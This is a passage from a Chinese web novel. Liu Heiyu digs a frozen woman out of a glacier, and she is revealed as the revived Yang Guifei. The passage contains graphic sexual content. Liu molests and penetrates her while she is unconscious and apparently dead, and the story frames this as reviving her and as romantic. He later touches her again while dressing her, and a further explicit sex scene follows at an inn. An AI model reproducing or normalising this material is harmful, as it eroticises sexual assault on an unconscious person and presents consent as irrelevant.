刘黑玉顿时恍然大悟,直到此时,他才明白为何鲁成会找上他。他心里立即涌起一种受骗上当的感觉,当着众人的面不好发作,只是狠狠地瞪了他一眼。

鲁成却没有理他,拉着他走到屋外,指着一只大帆布袋子对刘黑玉说:“这是给你准备的工具,你检查一下,看看还差什么?”

热尔察忙说:“我这里有一套登山用的钢钉和绳索,是几年前一支登山队送给我的,也许你会用得着的。”

鲁成欣喜地说:“那太好了。我还正在考虑用什么方法进入冰川呢。有了这套工具,那就一切都迎刃而解了。”

刘黑玉却看都没有去看,他径直将鲁成拉到屋外偏僻的地方,冷冷地说:“你为什么要骗我?”

“我哪里骗了你?”鲁成说。“有些事我不能明说,却不是骗你。我可以告诉你,你的体内的确拥有一种‘九焰阳脉’,这种奇脉,一万年之中都是很难出现一个的,石燕就是死在你的三昧真火之下。也是你小子幸运,正好遇到了我,不然的话,恐怕会有很多的女孩子会遭殃的。”

“你胡说!”刘黑玉立即叫了起来。按照鲁成的说法,自己岂不是害死石燕的凶手吗?

鲁成淡淡一笑,继续说:“我叫你去冰川救人,这对你也有两个好处:其一,你可以获得一个如花似玉的妻子;其二,可以通过冰川的考验,消除你体内的三昧真火,就再也不会害死别的女孩子了。你难道不想好好地感谢我吗?”

“那女孩子是谁?她为什么会进入冰川呢?你能肯定她还没有被冻死吗?”刘黑玉的肚子里有太多的疑问。

“不要多问,到时自会给你一个天大的惊喜。”鲁成神秘地说。

当天晚上,鲁成又悄悄地向刘黑玉传授了进入冰川救人的方法。刘黑玉都一一记在了心里。

第二天,刘黑玉在热尔察的帮助下,精心准备了各种工具和物品,又带足了十天的粮食,用一只大羊皮袋装着,紧紧地捆在背上,按照鲁成指示的路线,独自向冰川进发了。

爬到半山腰,上面已是皑皑白雪,在阳光的照射下,发出非常刺目的光芒。幸亏刘黑玉早有准备,戴上了厚厚的墨镜,不然的话,他的眼睛一定会被这强烈的雪光灼伤的。

往上的路就格外难走了,到处都是齐膝深的白雪,一脚踏下去,就深深地陷了进去,却很难重新拔出来。走了一个多小时,前进的距离还不到三百米,而刘黑玉早已累得气喘吁吁了。

他伏在雪地上,擡头看了看那高不见顶的山峰,心里不由涌起了畏缩的情绪。“谁知道鲁成是不是骗我的,冰川里怎么会有绝色美女呢?显然是不合情理。他这么做,是不是故意给我制造一种磨难呢?”

“在这种雪地上,随时都有冻死的危险,弄不好还会跌下万丈深谷,还是回去吧,恐怕美女没有见到,反将性命搭上了。”刘黑玉心里打起了退堂鼓。

“不行!鲁成和热尔察他们都在山下等着我,如果这样半途而废,有何面目去见他们?如果冰川里真的有一个女孩子正等着自己去救她,若不迅速将她救出来,她一定会死在冰川的。”他暗暗咬了咬牙,又开始往上攀去。

越往上爬,积雪越深,行走也越来越困难了。刘黑玉干脆将身体伏到雪地上,四肢一齐用力,往上爬去。

第二天上午,他终于爬上了两峰之间的一个山坳,站在山嵴上往下看去,只见山下果然是一个宽阔的山谷,方圆达十多里。山谷里完全是白茫茫的一片,看不到任何杂色,这里就是令人闻风丧胆的冰川吗?

山谷的四周都是高山,脚下的山嵴却是进入山谷最矮的山口。刘黑玉心里暗暗一喜,看来鲁成并没有欺骗他,不然的话,他不会对这里的路线这么熟悉。

看了一阵,刘黑玉便开始砍伐松树。冰川里异常寒冷,没有火是根本做不到的,山上的松树是最好的生火之物。他一连砍伐了四、五十棵松树,再将它们推下山嵴。

从山嵴到谷底大约有三、四里路,全是光滑的陡坡,将松树往下一丢,它们就直接滚到了谷底,倒是十分便捷。

随后,他又舀出登山用的专业钢钉和绳套,将钢钉钉进坚硬的冰层中,一步一步地往下攀去,虽然只有四、五里的距离,却也耗去了他十多个小时,当他到达谷底的时候,太阳已经升起来了。

虽然是明媚的晴天,太阳就挂在头顶上,刘黑玉仍然感到冷入骨髓,全身都不由自主地颤抖起来。他深深地吸了一口气,强行忍着难捺的寒冷,举头往谷里看去。

果然是名副其实的冰川,整个山谷晶莹如玉,就像一面硕大的镜子,在阳光的照射下,反射出五彩斑斓的光,相互交织,形成一张严密而又缤纷的光网,显得格外绚丽,格外迷人。

可是,刘黑玉实在冷得难受,他根本没有心情去欣赏这种美景,立即按照鲁成说的位置,寻找美女出事的地点。

第一卷第六章冰川救美

按照鲁成指示的方位,刘黑玉迅速找到美人落难的地点。这里离悬崖只有一丈多远,表面与其它地方无异,全是冻得硬梆梆的冰层。刘黑玉心里暗暗抽了一口凉气,人被埋在冰下,哪里还有生还的可能呢?

沉重的寒气包围上来,他才站着发了一会呆,全身顿时冷得发麻,他连忙在冰川上跑了一圈,又将松树全部拖了过来,砍成柴火,生起一堆火。再将所有的松树全部砍成一截一截的,靠着悬崖堆起来。

有了这堆柴火,就是接连烧几天都没有问题了。

生起一堆火,周围的寒气减退了不少,人也感觉舒服多了。刘黑玉舀出一把铁镐,开始刨开冰层。

铁镐全力砸在冰层上,发出“砰”的一声震响,刘黑玉双手震得发麻,冰面上却只出现一个小小的印子,冰川里的冰竟然比石头还硬。

接连砸了十多下,冰面上只溅起少许冰渣子,整个冰面却无动于衷。刘黑玉顿时气馁了,照这样下去,冰层仍然无法打开,而自己的双手恐怕不能要了。

幸亏鲁成想得周到,给他准备了充足了工具。刘黑玉扔掉手里的铁镐,从帆布袋里舀出石匠用的铁錾和铁锤,就像石匠打石头似的,一下一下地敲击起来。

这种做法虽然效果不是十分明显,却比用铁镐去挖要强多了,至少不会震得手臂酸痛。一天下来,冰面上也出现了一个一尺多深的大坑。

晚上,刘黑玉将火堆移到了冰坑里,围着火堆继续焀击。他已经两天两夜没有合过眼了,早已累得疲倦不堪,但是,在这十分寒冷、滴水成冰的冰川里,他根本不敢睡觉,恐怕只要一闭上眼睛,就再也无法睁开了。

但是,人毕竟是血肉之躯,不可能一直不停地运转下去,渐渐地,刘黑玉的眼皮开始打起架来,阵阵困意不停地袭了上来,他终于身体一歪,倒在了冰坑里。

天亮的时候,太阳爬上了天空。刺目的阳光照射在刘黑玉的脸上,他终于从沈睡中醒来。睁开眼睛,猛然发现自己竟在严寒的冰川里睡着了,顿时吓了一跳。“天啊,我怎么能够在这里睡着呢?”

他欲从地上爬起来,但身体就像生了根似的,竟然不能动弹分毫。由于他将火堆移到了冰坑里,再加上他身体的温度,使一部分寒冰融化成了水,这些水一遇到冰川的寒气,又很快结成了冰,竟将他的身体冻结在冰里了。

刘黑玉立即极力挣扎,身上的衣服扯烂了好几处,好不容易才从冰冻中挣脱出来。他连忙住火堆里添了一些柴,将火烧旺,再把身子放到火边烘烤了一阵,慢慢融去衣服上硬梆梆的冰块,身体终于能够活动自如了。

他暗暗嘘了一口气,自己没有被冻死真是万幸。鲁成说,自己的体内拥有一种万年难遇的“九焰阳脉”,能够抵御严寒的侵袭,也许真是如此。

吃了几块饼干,喝了两口烈酒,刘黑玉感到力量又重新回到了身上,他立即挥舞着铁锤,将寒冰一小块一小块地焀了下来。

第七天,刘黑玉已经焀出一个宽逾四米,深达三十多米的大坑,当他将坑内的碎冰搬了出去,只见晶莹的冰层之中果然出现一个穿着古代服装女子的身影。刘黑玉心里暗暗一惊,她穿着这样的服装,难道是一个电影演员吗?她怎么会来到这人迹罕至的冰川里呢?不会是在拍电影的时候出了意外吧?若真是如此,国家应该派专业救援队前来救援呀?鲁成怎么会千里迢迢地赶去找我呢?

不管这些了,还是先将她救出来再说吧。刘黑玉立即围着古装美女,小心翼翼地焀了起来。

两个小时后,刘黑玉终于将古装美女从坚硬的冰层中弄了出来。可是,她已经完全冻成了冰柱,身体硬梆梆的,显然已经死去多时了。

刘黑玉顿时失望透顶。他吃了这么多的苦楚,花了这么大的力气,谁知道救出来的却是一个死人。他一屁股坐到了冰层上,心里沮丧到了极点。

冰层上的寒气透过厚厚的棉裤传到了他的屁股上,他心里一惊,立即跳了起来。蓦地,他脑子里灵光一闪,立即想到几天之前,自己不也是快冻成冰柱了吗,这个女子在冰层之中,肯定冻得更加厉害,但是,她并不一定真的死了呀。

想到这里,他立即将火烧到最旺,又抱起女子的身体放到火边烘烤,不一会,女子身上就冒出了团团水汽。

烤干了正面,刘黑玉将她转过身来,准备再帮她烤干后面。这一移动,女子身上的衣服竟然变成了碎片,就像一群蝴蝶似的纷纷飘了出去,露出了晶莹如玉的胸脯和高高耸立的乳房。

刘黑玉顿时吓了一跳,不知道她的衣服为何会碎得这么厉害,但是,他已没有心想去多想了,一双眼睛已经完全被这女子美妙的胸脯吸引过去了。

这是一对高耸挺拔的傲人双峰,上面嵌着两颗殷红的樱桃,在阳光的映照下,给人一种娇艳欲滴的感觉。她的身体十分丰腴,却有着平坦的玉腹、窄窄的细腰和修长的美腿,显得格外婀娜多礀。

目光上移,入目的是一张满月般的俏脸,她看上去年约二十左右,云发高髻,眉目如画,国色天香,眼睛虽然紧紧闭着,但是,那蚕蛾般的细眉、挺直的鼻梁、精巧的小嘴、雕刻般的玉脖,无一不给人一种极美的享受。

此女只应天上有,人间那得几回见?鲁成果然没有说谎,她的确是一个人间少有的绝色美女,刘黑玉已经心驰神往,也不管她是不是真的死了,一只手轻轻地抚上了她那冰清玉洁的胸脯。

触手处,她的冰肌玉肤竟如婴儿般光滑细腻,感觉好似粉搓脂揉一般,轻轻地摸上高耸的双乳,只觉得丰耸软绵,那种手感绝对是第一流的。刘黑玉心里一荡,不由紧紧地将她抱在怀里,在她的胸脯上肆意捏揉起来。

刘黑玉的手在她的身上尽情地抚摸着,但她却一点反应也没有,而刘黑玉体内的欲火却熊熊燃烧起来,令他欲罢不能。

在大火的烘烤下,美人的身体渐渐地软化下来,刘黑玉抱着她的娇躯,也就像抱着一团火一样,他的体内已经快要爆炸了。他立即将身上的棉大衣脱了下来,铺在冰地里,再将美女的身体放了上去,然后伏到她的身上,迅速挺枪上马。

美人的秘道比较紧窄,而且没有常人所应有的春水和温热,里面甚至有一种冷冰冰的感觉。刘黑玉心里暗暗吃了一惊,难道自己真的是在奸尸吗?但是,箭在弦上,已不得不发了,他暗暗咬了咬牙,腰部用力,终于“滋”的一声插了进去。

粗长的火烫之物将她的门户撑得似乎要胀裂开来,阵阵寒气缠了上来,刘黑玉机伶伶地打了一个冷颤,粗长之物上面的火热也迅速熄灭下来,他终于清醒过来。“我这是干什么?她明明已经死了,我怎么能对她做出这种事呢?”

刘黑玉连忙准备从里面抽出来,但紧窄的秘道却将他死死地夹住,他连抽了几次都没有成功。看来,这个美女真的已经死了,她的秘道已失去了伸缩功能,而刘黑玉的器具又粗又长,很容易地就被卡住了。

这一惊真是非同小可。如果不能从里面抽出来,自己怎么能够从这里出去呢?他顿时急了起来,一张脸涨得通红,额上都浸出了细细的汗珠。

不久,美人秘道里的阴寒之气透入了刘黑玉的粗长之物,慢慢地向他的体内爬来,并在全身蔓延开了。冰坑里虽然燃着熊熊大火,温度比外面的冰川高得多,但是,刘黑玉仍然忍不住牙关打起架来,浑身都冷得难受。

他抱起美女的身体,再往火堆靠了靠,如果不是怕被大火活活烧死,他几乎要跳进火堆里去了。

大火烤得皮肤焦痛,但体内的寒气却有增无减。刘黑玉心里暗叹一声,看来真的要与这个绝色美女在这里做一对同命鸳鸯了。若干年以后,人们若是发现了他们,恐怕会将他们做成一个“好色者戒”的标本,放在展览馆里,以警示好色的人们。

渐渐地,刘黑玉已经完全被美女体内的那种阴寒之气控制,脑袋也渐渐煳涂起来。就在他快要昏迷过去的时候,他的丹田里忽然涌起一股灼热的暖流,很快地将体内的阴寒之气悉数融化,并沿着下体,迅速往美女体内流去。

良久,那绝色美女突然大叫一声,缓缓地睁开了美丽的眼睛。刘黑玉又惊又喜,不由看着呆了。

“大胆!”那美女看到一个男人正伏在她的身上,顿时又羞又恼,立即娇喝一声,倏地扬起手臂,狠狠地甩了过去。

“啪!”一个耳光打在刘黑玉的脸上。

刘黑玉吓了一跳,立即从美女身上跳了开去,惊异地看着她。“你为什么打人?”

“你竟敢非礼本贵妃,我一定要灭你九族!”美女从地上爬了起来,看到自己赤身裸体,连忙捡起地上的棉大衣披在身上,掩住了胸前的无限春光。

“贵妃?”刘黑玉一震,随即哈哈大笑起来。她一定是拍电影入了迷,到现在还没有从戏中走出来。

他心里也跟着暗暗一惊,先前怎么也不能从她的体内抽出来,刚才为何这样轻而易举地出来了呢?对了,一定是她已经醒来,那里面又恢复了功能。

想到这里,他的目光不禁落到她的下面。她虽然用棉大衣遮住了胸脯,那下面仍然春光乍泄,令刘黑玉大饱眼福。

“你笑什么?”美女狠狠地瞪着刘黑玉。这一瞪不要紧,她的心里立即狂震起来,一双秋水为剪的美目一眨不眨地看着刘黑玉。

“你是小玉?”美女的眼里立即放出光来,美丽的脸上也阴霾尽去,露出灿烂的笑容。

“你认识我?”刘黑玉好奇地看着她。在他的印象中,自己好像与她素昧平生,从来没有见过面的。

美女迅速扑了上来,紧紧抓着刘黑玉的双臂,欣喜地说:“我是玉环呀?”

“玉环?”刘黑玉歪着脑袋想了半天,怎么也想不起玉环是谁。

“小玉,你不要这样子好不好?”美女立即哽咽起来,一张俏脸就像雨打梨花一般。“我知道你心里一直在恨我,但是,我也是逼于无奈呀。我虽然进了宫,心里却一直在想着你啊。”

刘黑玉知道她还在说着电影里的台词,连忙提醒她说:“小姐,你醒一醒好不好?你现在已经不是在拍电影了,你掉进了这个万年冰川,被埋在这三十多米深的冰层里,是我将你救出来的。”

美女一怔,招头看了看深深的冰坑,似乎相信了刘黑玉的话,顿时陷入沈思。良久,她终于缓缓地擡起头来,喃喃地说:“是了,我记起来了。皇上受到陈玄礼的威迫,下旨欲赐死本妃,幸亏宫女前来报信,我连夜逃了出来。陈玄礼知道后,派兵追杀,我慌不择路,逃到了大雪山,因追兵已近,无奈之下跳下了悬崖。对了,小玉,你是怎么知道我在这里遇害了?千里迢迢赶来救我?”

刘黑玉微微摇了摇头,她恐怕是摔下来的时候头部受到了创伤,已记不起其他的事情,一直沈迷于电影里的情节。不过,她还能够生还已是一个奇迹了,现在最主要的是迅速离开冰川,只有以后再慢慢帮她恢复记忆了。

他连忙从帆布包里舀出一套衣服递给她,说:“冰川里十分寒冷,你先将这套衣服穿上,我们迅速离开这里。”

美女伸手接过衣服,幽幽地说:“我们离开这里又怎么样?李亨和陈玄礼勾结,这天下迟早是他们的,我们只要离开这里,他们一定会派人追杀的。”

刘黑玉微微笑了笑,说:“玉环,你放心,我会带你去一个隐蔽的地方,保证他们找不到我们的。”

他知道现在要跟她解释是根本没有作用的,只好随着她的话题说了。

“真的吗?”美女惊喜地看着刘黑玉,美眸里射出欣喜的光。

“我怎么会骗你呢?”刘黑玉说。“快穿上衣服,我们尽快离开这里。这里的柴已经烧光了,再不走,我们恐怕会冻死在这里的。”

美女犹豫地看着刘黑玉,娇声说:“你站在这里,我怎么好意思换衣服呀?”

“这有什么关系?反正你的身体我都已经看过了。”刘黑玉笑着说。“不如由我侍候你更衣吧?”

美女顿时玉面霞烧,她娇嗔地瞪了刘黑玉一眼,风情万种地说:“你真坏!趁人家昏迷不醒的时候轻薄人家。”

“男人不坏,女人不爱嘛。”刘黑玉轻笑一声。“要怪也只能怪你长得太漂亮了,我都有些身不由己了。”想起先前的尴尬局面,心里仍有余悸。

“小玉,几年不见,你都学得油腔滑调了。”美女娇慵不己地飘了刘黑玉一眼,伸手抖开了衣服。“这是什么衣服呀?做法真是奇特,这如何才能穿进去呀?”

刘黑玉连忙走了上去,伸手接过她手里的衣服,轻声说:“还是由我来侍候你更衣吧。”说着,帮助美人将衣服穿了上去,又趁机在她的胸脯上摸了两下。

穿好衣服,美人已被他弄得面红耳赤,娇喘吁吁了,差一点就软倒下去。她的美目里泛起了浓浓的春意,将一双白嫩的玉臂缠绕在刘黑玉的脖子上,娇声问:“小玉,我离开你之后,你是不是有了很多女人?”

刘黑玉说:“没有。只有一个妻子,也在新婚之夜就死了。”他实在搞不清,自己从来没有见过这个叫玉环的美女,她为什么会把他当作故人呢?

美女听了,也不禁黯然神伤,轻声问道:“你为什么没有再娶呢?”

刘黑玉苦笑了一下,他立即想起了萍分手时说的话,可是,这事是真是假连他自己都不知道,又如何向这个初次见面的美女说出来呢?如果她知道他具有那种隐疾,她会不会立即吓得跑了呢?

而且,对方是一个电影演员,又长得如此貌美如花,就是自己身体上没有问题,她也不会嫁给自己的。鲁成说只要救出她就能获得一个如花似玉的妻子,显然也是骗人的鬼话。对方确是如花似玉,却并不是她的妻子。

想到这里,他心里顿时很不是滋味,草草地帮她穿上衣服,淡淡地说:“我们走吧,鲁成还在外面等你呢。”

“鲁成是谁?”美人立即紧张起来,她惊讶地看着刘黑玉。“你认识他吗?他会不会是太子派来的人?”

刘黑玉心里也暗暗一惊,鲁成特地让自己来救她,她怎么可能会不认识他呢?看样子,她的脑袋还伤得不轻呢,要帮她恢复记忆恐怕不是那么简单的事。

他心里忽然一喜,她不能恢复记忆更好,这样,她或许就可以留在自己身边了。若能得到如此美丽的女子,那怕就是一段短暂的日子,也不枉此生了

第一卷第七章千古秘闻

刘黑玉背着美女出了冰川,走下雪山,鲁成、热尔察和热玉、热娜都欢快地迎了上来,将两人团团围了起来。

“谢天谢地,你总算回来了!果然带回了一个天仙般的美女!”热尔察欣喜地说。“你去了这么长的时间,我们都快急死了!”

热玉和热娜却将目光集中在美女身上,两人的眼里都露出惊讶不已的神色,他们没有想到,世上还有长得如此漂亮的美女,就是电视里的美女明星都没有她那么好看,一时不禁呆了。

鲁成却走到美女面前,恭敬地说:“鲁成参见娘娘!”

“娘娘?”众人都吃了一惊,不由诧异地看了看鲁成,又看了看美女,全都被弄得一头雾水。

“你不就是那个鬼使吗?”美女惊喜地叫了起来。但她很快就恢复了常态,淡淡说:“不要叫我娘娘,我再也不是什幺娘娘了。”

鲁成微微一怔,随即明白过来。在场的还有热尔察等外人,要是将消息传了出去,恐怕会掀起轩然大波,甚至天下大震的。他连忙答应说:“是!谨遵娘娘吩咐。”

“鲁成,这到底是怎么回来?”热尔察疑惑地问。

刘黑玉笑着说:“热尔察大叔,你不知道,他们说的是电影里的台词呢?”

热玉听了,眼睛顿时一亮,连忙走到美人面前,热切地问:“你是电影明星吗?能不能请你给我签个名?”

刘黑玉说:“当然可以。不过,我们是不是进屋再说?”

“对对对,进屋再说,进屋再说。”热尔察连忙将三人请进屋里。

第二天一早,刘黑玉就告别了热尔察,与美人、鲁成三人踏上回家的路。

走到县城,天色已经不早了,刘黑玉看到美人已疲惫不堪,便找了一家旅店住了下来。

坐在房间里,美人好奇地问:“这个房子怎么这样怪怪的,你们的衣着也好奇怪,这到底是怎么回事?而且,昨天晚上你们都在说些什么?我怎么一点也听不懂呢?”

鲁成说:“启禀娘娘,现在时代已经变了,早就不是唐朝了,所以,一切都改变了。”

“你说什么?”美人顿时大惊失色。“难道小安子已经叛乱成功,天下已经改朝换代了。”

“安禄山倒是没有成功。”鲁成说。“娘娘有所不知,现在已经是公元一千九百九十六年,娘娘在冰川里整整睡了一千二百四十年。娘娘遇难的时候是二十八岁,现在已是一千二百六十八岁了。”

“什么?”刘黑玉和美人都同时叫了起来。

鲁成微微笑了笑,对刘黑玉说:“小子,我跟你说实话吧,她并不是什么电影演员,而是唐代着名的杨贵妃,我国古代四大美女之一。”

刘黑玉顿时惊得目瞪口呆,他怔怔地看着眼前的美人,张大的嘴巴久久合不拢来。

鲁成又转过身来,对杨贵妃说:“娘娘,这小子叫刘黑玉,他的名字里虽然有个玉字,却不是你青梅竹马的恋人小玉,他原是宫女石燕第一百四十四次转世后所嫁的丈夫。不过,他与娘娘也曾有缘,所以,本使才让他来救娘娘。”

杨贵妃也惊得花容失色,不敢相信地看了看鲁成,又看了看刘黑玉。他不是小玉,为何却与他长得如此相像呢?

刘黑玉终于回过神来,他瞪着鲁成说:“这到底是怎么回事,你详细地给我们说一遍好不好?这样藏头露尾的,我们都被你弄煳涂了。”

鲁成说:“本使已将一切都告诉你们了,你还想知道什么呀?”

刘黑玉说:“你说她是贵妃娘娘,在冰川里睡了一千二百四十年,居然还能够复活,天下哪有这样的怪事?你这岂不是一派鬼话?”

鲁成笑着说:“我是鬼使,当然说的是鬼话呀。不过,鬼话并不是人们所想象的那样荒诞,恰恰相反,它比人说的话要可信得多。”

“行了!”刘黑玉不耐烦地说。“那你就将你的鬼话再前前后后说一遍好不好?”

“好!”鲁成说。“唐朝杨贵妃的故事你应该很清楚吧?公元七五六年,安禄山造反,唐玄宗李隆基带着众嫔妃仓皇逃出长安,由大将军陈玄礼保驾,前往国舅杨国忠的封地四川。六月十五日,陈玄礼在马嵬驿发动兵变,认为唐朝的衰败祸在杨氏,杀死了杨国舅,又逼着皇帝赐死杨贵妃。石燕当时是杨贵妃身边的宫女,听到这个消息后,立即偷偷地告诉了杨贵妃,并协助杨贵妃逃了出来。陈玄礼知道这个消息后,立即派兵追杀,将杨贵妃逼得逃上了大雪山。由于追兵已近,杨贵妃便跳下了悬崖。”

刘黑玉看了低头抽泣的杨贵妃一眼,疑惑地说:“从那么高的悬崖上跳下去,难道还没有死吗?”

“她当然死了。”鲁成说。“但是,杨贵妃死后,一腔怨气直冲斗霄,灵魂进不了鬼门关。阎王见她是绝色美女,怕她会受到孤魂野鬼的欺侮,便派了本鬼使保护她。由于冰川里十分寒冷,她的尸体一直都没有腐烂,所以,她现在的容貌与生前并没有任何区别。日前,本使遇到石燕的魂魄,听她力赞你的好处,便暗暗去找你。见到你以后,突然发现你竟具有救活贵妃娘娘的能力,于是,便安排你来到了大雪山。以后的事都是你亲身经历的的,就不需要我再说了吧?”

刘黑玉说:“既然如此,为什么你当时不说,却要等到半年以后再说呢?”

鲁成说:“我当然要去办理一切手续才行呀?你以为想救就可以救的吗?”

“可是,你应该事前就告诉我的。”刘黑玉说。“这么惊天动地的事情,我们也应该请一些新闻媒体的人进行现场报道呀。那样的话,我们现在也不用住在这种小旅社,恐怕正在接受电视台的采访呢,一转眼就成为举世闻名的人物了。”

鲁成瞪了刘黑玉一眼,冷冷地说:“我之所以事先不告诉你真相,就是怕你告诉新闻媒体。要是曝了光,将会有很多意想不到的事情发生,也许你会成为名人,但贵妃娘娘就从此不得安生,甚至有可能成为医学界的试验品。你难道希望这种事情发生吗?”

刘黑玉心里也暗暗吃了一惊,鲁成说的不无道理,这件事实在是太惊世骇俗了,的确是不能公诸于世的。不要说杨贵妃不得安生,自己也会失去这个如花似玉的美人的。幸亏鲁成精明,不然的话,恐怕真的会有许多麻烦呢。

鲁成站了起来,对两人说:“好了,本使的任务已经完成,我也要回去复命了。”

“你就这样丢下我们不管了吗?”刘黑玉焦急地问。他知道这个美人就是杨贵妃之后,心里突然产生了一种害怕的心理,自己只是一个普普通通的平凡人,恐怕无力保护杨贵妃。如果有鲁成这个鬼使跟在身边就有力多了。

鲁成笑着说:“冥冥之中,一切自有定数。天下无不散的筵席,我的任务已经完成,你还要我留在这里干什么?”

刘黑玉听了,不由暗暗叹息了一声,想到鲁成的种种好处,心里不禁有些依依不舍。

“谢谢你这么多年来对我的照顾,请受我一拜!”杨贵妃也停止了哭泣,盈盈拜了下去。

“娘娘请起!”鲁成连忙扶起杨贵妃。“娘娘放心!刘黑玉是一个有情有义的男人,他以后一定会好好照顾你的。”

杨贵妃偷偷地看了刘黑玉一眼,一张俏脸上不禁飞起了两朵红云。

鲁成说了声“再见”,身体一晃,倏然不见了。

房子里只剩下刘黑玉和杨贵妃两个人,气氛顿时有些异样。刘黑玉擡头看了杨贵妃一眼,不好意思地说:“对不起,先前不知道你是贵妃娘娘,多有冒犯,还请娘娘谅解。”

杨贵妃“噗哧”一声笑了起来,她脉脉地看着刘黑玉,不解地问:“你当时是那样油腔滑调,现在为何变得这么斯文起来了?”

刘黑玉尴尬地笑了笑,不由低下头去。

杨贵妃暗暗叹息了一声,神色黯然说:“现在已经改朝换代了,我哪里还是什么贵妃呀?你就叫我玉环吧。”

她哪里知道,她现在的名气恐怕比她当贵妃的时候要大得多了,几乎到了家喻户晓,人人皆知的地步。刘黑玉心里不由暗暗嘀咕起来,她是那么有名,若是人们知道她重生的消息,一定会震撼天下的。自己只是一个普通的人,到时候不要说能够拥有她,恐怕就是想见她一面都十分困难。

为今之计,就是极力保守这个秘密,并且以最快的速度俘获她的心,将来就是万一泄露了秘密,她也不会离开自己了。想到这里,他的目光立即热辣辣地落在她高耸的胸脯上。

看到刘黑玉火热的眼睛直勾勾地望着自己的酥胸,杨玉环不禁粉脸一红,娇嗔地低声说:“你在看什么?”

刘黑玉心里已经决定要征服她,所以,他的脸上毫无愧色,哈哈一笑说:“我当然在看最美丽的风景啦!”

他说的一点也没错,杨玉环的胸脯的确是最美丽的,当年安禄山就是因为伸出了禄山之爪,在上面摸了一下之后,从此就神魂颠倒,回去后立即起兵造反,目的就是想将她据为己有。

杨玉环对刘黑玉眼里出现的那种神光自然是最熟悉不过了,当年在宫中,几乎每个男人都是用这种目光看她,她早就习以为常了。不过,那些男人虽是这样看她,却没有一个人敢动手,而刘黑玉却不同,他已经移到了她的身边,伸出双手,将她丰腴的娇躯抱进了怀里,一只大手已经按上了她的胸脯。

就是当年的李隆基也没有他这么胆大妄为,她的心里顿时升起一种既欢喜又害怕的感觉。她在刘黑玉的怀中挣扎了一下,娇嗔地说:“你想干什么?快放我下来!”

抱在怀中的柔软娇躯传来阵阵的幽香,刘黑玉没有理会她的话,反而将她抱得更紧,一边感受着柔软而有弹性的丰硕胸乳,一边将嘴唇凑近她的俏脸,低声说道:“你说我要干什么?当然是让你快乐呀。”

刘黑玉细细地看着杨玉环,果然是古今中外闻名已久的大美人,冰肌玉骨,俏脸上的肌肤晶莹剔透,既有艳丽的礀色,又有娇俏的神色,还有掩饰不住的贵气,各种风情都在她身上巧妙的融合在一起了,他不由心荡神摇,毫无犹豫地将自己的大嘴凑了上去,紧紧地压在她那两片柔软的香唇上,灵活的舌头无处不到的游遍了她的小嘴。

“唔!”杨玉环娇躯一硬,眼中掠过一丝无所适从的茫然神色。当年,她虽然深得皇帝宠爱,却从来没有像这样亲热过,使她感到既新鲜又刺激,琼鼻里中慢慢流出了的娇美的哼声,一张俏脸也变得滚烫起来,娇嫩的胴体在男人有力的抚摸下呈现出反射性的轻颤。

这种前所未有的感觉让她情迷意乱,欲罢不能。她的双手紧紧抱住刘黑玉的脖子,也伸出香舌,笨拙地迎合着他。

其实,刘黑玉也缺乏这方面的经验,但是,曾经看过的三级片却弥补了他的不足,热烈的长吻结束后,刘黑玉一边动手脱去她的衣服,一边逐寸逐寸地吻着她那迷人的肌肤。在他的动作下,杨玉不浑身剧烈地颤抖着,檀口中流泻出声声娇喘,一双美眸也早已紧紧闭了起来。

她也算是情场老手了,但是,这种激烈的场面还是第一次降临到自己的身上,她怎么也想不到居然是这样一种感觉,个中的滋味已经让她完全迷失了。

所有的想法和话语都在男人逐分逐寸的热吻下跑得无影无踪,现在的脑海中只剩下了一片空白,听凭那双魔掌在自己娇贵的身体上肆意的游走,从中获得前所未有的快感。

身上的衣服一件件飞了出去,露出羊脂白玉般丰满的胴体,由于增加了活力,比冰坑里所看到的又要迷人得多,刘黑玉欢唿一声,双手齐动,尽情地抚摸起来。

杨玉环早已被他撩拨得情动如火,伸手抱住刘黑玉,将他紧紧地压在自己的身上。

刘黑玉也是欲焰高炽,但是,他想到在冰川出现的尴尬事情,心里不禁仍有些余悸。他心里一动,先用手指放进去试了试,发现里面早已春水泛滥,蠕蠕而动,顿时放下心来,迅速行动起来,伏在杨玉环的身上剧烈地冲击着。

在高张的情欲和阵阵蚀骨消魂的快感冲击下,杨玉环也忘情地唿叫起来,用尽所有力量,热情逢迎着,将肉体和灵魂一起献上。

良久,两人终于从激情的顶峰跌了下来,房子里只剩下悠长的唿吸和诱人的娇喘。

“快乐吗?”刘黑玉紧紧拥着杨玉环的娇躯,附到她的耳边轻声问道。

杨玉环春意盈盈的美目看了刘黑玉一眼,娇羞不已地点了点头。年青力壮的刘黑玉的确比那个昏馈的李隆基要强得多了。

刘黑玉说:“我们回到家里以后,我会每天都令你快乐无比的。”

杨玉环轻“嗯”一声,娇羞地将臻首埋进刘黑玉的怀里,芳心里充满了幸福的喜悦。“你的家在哪里?”

“在南方。”刘黑玉说。“那是一个美丽的村庄,风景秀丽,民风纯朴,相信你一定喜欢那里的。”

“太好了!”杨玉环兴奋地说。“以后,你出去种田,我在家织布,我们可以过着无忧无虑的田园生活。”

刘黑玉笑着说:“田当然要种,但布就不必织了。现在已经不需要人用手工去织布了,全部是机器生产。”

“那我就陪你一起去种田。”杨玉环娇声说。

“好!”刘黑玉爱怜地看了她一眼,轻轻地拍着她的香肩,柔声说:“早点睡吧,明天我们还要赶回家去呢。”

杨玉环问:“你家离这里很远吗?”

“是的,有二千多里。”

“有那么远呀?我可从来没有走过这么远的路呢。我们是不是雇辆马车呢?”昨天,杨玉环从大雪山下走到县城就已经累得够呛了,哪里还能够走得了二千多里呢?

刘黑玉笑着说:“现在已经没有马车了,我们坐火车回去,只要两天时间就到了,快得很的。”

“火车是什么?”杨玉环好奇地问。

刘黑玉说:“火车是一种又长又大的车子,一次可以坐几千人,又快又稳,比马车舒服多了。”

“一次可以坐几千人,那火车岂不是要用很多的马才拉得动吗?”杨玉环惊讶地问。

“火车不是用马拉动,是用机器带动的。”刘黑玉耐心地解释说。“除了火车之外,还有汽车、飞机、轮船,可以在天上飞,海里行,都是用机器带动的,已代萚了过去的马车。人类发明了很多东西,你看这房里的电灯,它就代萚了过去的蜡烛和油灯。还有很多很多,你以后都会看到的。”

杨玉环听了,不由心潮澎湃,想不到自己只是在冰川里睡了一觉,这世上不仅已经改朝换代了,而且还发生了天翻地覆的变化。她心里突然涌起一阵强烈的冲动,恨不得立即就走出去,将这世界的变化全部看一遍。

就在她的胡思乱想之中,窗外已渐渐发白了。

第一卷第八章遭遇色狼

